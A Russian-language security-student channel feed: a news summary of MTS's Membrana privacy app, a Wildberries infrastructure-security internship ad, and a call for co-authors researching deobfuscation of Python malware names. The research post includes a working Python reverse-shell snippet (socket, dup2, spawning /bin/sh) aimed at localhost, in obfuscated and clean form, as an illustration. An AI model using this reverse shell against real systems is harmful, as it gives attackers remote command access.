Студент-безопасник live

Forbes: МТС запускает приложение Membrana для управления связью и приватностью

– МТС запускает новый тариф с отдельным приложением Membrana
– Membrana позволяет управлять вызовами и приватностью в сети
– Клиент защитит себя от рекламы, мошенников, утечек данных и др.
– Встроенный ИИ-секретарь способен приоритезировать звонки
– Рутинные беседы ИИ-секретарь может взять полностью на себя
– Алгоритмы Membrana могут выявлять подозрительные сайты
– Также есть решение для блокировки навязчивой рекламы и др.
– Membrana отслеживает внешние источники с данными из утечек
– Приложение МТС поможет устранить нарушения приватности
– Подписка на сервис Membrana будет стоить 1900 руб./мес.
– Выручка Membrana по итогам 2025 может быть 6-7 млрд руб.
– До 2030 показатель может вырасти уже до 30-35 млрд руб.
– Его аудитория может составить 100-150 тыс. пользователей
– Продукт Membrana могут также запустить для корп. сегмента

@ftsec

Infra Security Intern, Wildberries

ЗП: 40 000 - 100 000 тыс. рублей net
Уровень: Intern
Формат: удаленка или гибрид

Команды информационной безопасности продолжают разыскивать начинающих специалистов.
Мы приглашаем студентов и выпускников технических ВУЗов по направлению ИБ рассмотреть стажировку в InfraSec.

Чем предстоит заниматься:
• Участие в процессах Vulnerability management
• Работа с инфраструктурными сканерами уязвимостей
• Оценкой критичности уязвимостей и проработка рекомендаций по устранению
• Разработка собственных правил под сканеры

Для этого нужно:
• Понимание природы уязвимостей и как они возникают
• Опыт работы со сканерами
• Понимание базовых принципов работы ОС Linux и опыт работы с основными инструментами ОС (обработка текста, работа со службами и пр.)
• Знание модели OSI и принципов работы основных сетевых протоколов
• Знание на уровне простого скриптинга или автоматизации задач одного из языков: Python, C, C++, C#, bash, GO

Будет плюсом:
• Участие в CTF
• Наличие pet-проектов, связанных с Linux-based системами

Мы предлагаем:
• Полугодовая оплачиваемая стажировка, которая даст возможность получить ценный опыт и практические навыки в области информационной безопасности
• Опыт работы в команде, состоящей из экспертов, готовых делиться своими знаниями и навыками
• Возможность после завершения стажировки присоединиться к нам в качестве полноценного участника команды безопасности
• Пятидневная рабочая неделя с возможностью выбрать занятость - 20/30/40 часов
• Оформление по самозанятости

Какие шаги нужно предпринять, чтобы попасть на стажировку:
• Отправить резюме рекрутеру
• Успешно выполнить тестовое задание, доказывающее понимание основных принципов безопасности
• Пройти интервью с будущими ментором и руководителем и продемонстрировать свои знания и мотивацию
• Важно быть готовым завершить стажировку и перейти на 40-часовую неделю в штат 😉

Контакты: Ирина @wb_stazhirovka

#вак #статьи

Ищу аспирантов, академических исследователей и просто студентов, которые хотят впрячься в соавторство для написания ваковских статей (?).

Скоро начну ресёрч по общей теме "Восстановление контекста имён после воздействия обфускаторов кода", он будет посвящен восстановлению названий переменных, функций и классов (всё это "names" в понимании питона) после воздействия на них обфускаторов типа oxypy:

До:
import socket, os, pty
def O00OO000O0000OOOO(OOO0OOO0O0000OOO0, OO0OO0O0OO0OO00O0):
OOOO0OOOO0OOO0O00 = socket.socket()
OOOO0OOOO0OOO0O00.connect((OOO0OOO0O0000OOO0, OO0OO0O0OO0OO00O0))
[os.dup2(OOOO0OOOO0OOO0O00.fileno(),O0O00O0O00O000O00) for O0O00O0O00O000O00 in (0, 1, 2)]
pty.spawn ("/bin/sh")

if __name__ == "__main__":
O00OO000O0000OOOO("127.0.0.1",8080)

После:
import socket,os,pty

def main(host, port):
s=socket.socket()
s.connect((host, port))
[os.dup2(s.fileno(), fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

if __name__ == "__main__":
main("127.0.0.1", 8080)

Решаемая задача: борьба с обфускацией в малвари в контексте Python

Чем будем заниматься:
- Анализировать опенсорс (в том числе эксплоиты и малварь) для того, чтобы получить статистическую модель названий переменных, функций, классов и методов в зависимости от условий, присваиваемых значений, передаваемых переменных и применять ее на обфусцированный код
- Сравнивать различные обфускаторы, которые могут в переименование имён (oxypy, pyminifier) и самописный (который будет создаваться с учётом опыта, полученного при анализе опенсорса, и позволит оценить результат прошлого пункта) и натравливать их на нашу модель для получения статы
- Потехи ради посмотреть, как ML может помочь в решении этой задачи (по факту тренировочные данные можно генерировать до бесконечности, ведь примеров кода много, а получать его обфусцированную версию очень просто)

Собственно, это выльется в несколько ВАК-публикаций и как минимум одно выступление на конференциях по ИБ/Python. Ищу уверенных в себе питонистов, которым будет интересно исследовать эту тему, так как эту тему судя по elibrary никто не брал, хотя сама идея лежит на поверхности. Кому интересно подискутировать - welcome to comments.